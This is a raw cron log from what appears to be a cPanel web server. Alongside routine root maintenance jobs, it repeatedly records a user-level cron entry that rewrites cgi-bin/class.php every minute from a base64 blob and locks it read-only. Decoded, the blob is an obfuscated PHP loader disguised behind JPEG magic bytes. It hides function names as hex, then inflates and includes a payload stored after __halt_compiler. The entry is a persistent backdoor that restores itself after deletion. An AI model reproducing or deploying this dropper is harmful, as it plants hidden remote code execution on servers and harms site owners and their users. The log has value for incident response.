Sep  6 17:22:01 server CROND[5185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:23:01 server CROND[5567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:23:01 server CROND[5566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:23:01 server CROND[5568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:24:01 server CROND[6005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:24:01 server CROND[6006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:24:01 server CROND[6007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:25:01 server CROND[6384]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:25:01 server CROND[6386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:25:01 server CROND[6388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:25:01 server CROND[6389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:25:01 server CROND[6392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:25:01 server CROND[6393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:25:01 server CROND[6390]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:26:01 server CROND[7267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:26:01 server CROND[7268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:26:01 server CROND[7272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:27:01 server CROND[7731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:27:01 server CROND[7732]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:27:01 server CROND[7733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:27:01 server CROND[7734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:28:01 server CROND[8105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:28:01 server CROND[8106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:28:01 server CROND[8107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:29:01 server CROND[8535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:29:01 server CROND[8536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:29:01 server CROND[8537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:30:01 server CROND[8928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:30:01 server CROND[8929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:30:01 server CROND[8933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:30:01 server CROND[8935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:30:01 server CROND[8932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:30:01 server CROND[8938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:30:01 server CROND[8936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:30:01 server CROND[8937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:31:01 server CROND[9765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:31:01 server CROND[9766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:31:01 server CROND[9767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:32:01 server CROND[10234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:32:01 server CROND[10235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:32:01 server CROND[10236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:33:01 server CROND[10617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:33:01 server CROND[10618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:33:01 server CROND[10619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:34:01 server CROND[11004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:34:01 server CROND[11005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:34:01 server CROND[11006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:35:01 server CROND[11392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:35:01 server CROND[11394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:35:01 server CROND[11397]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
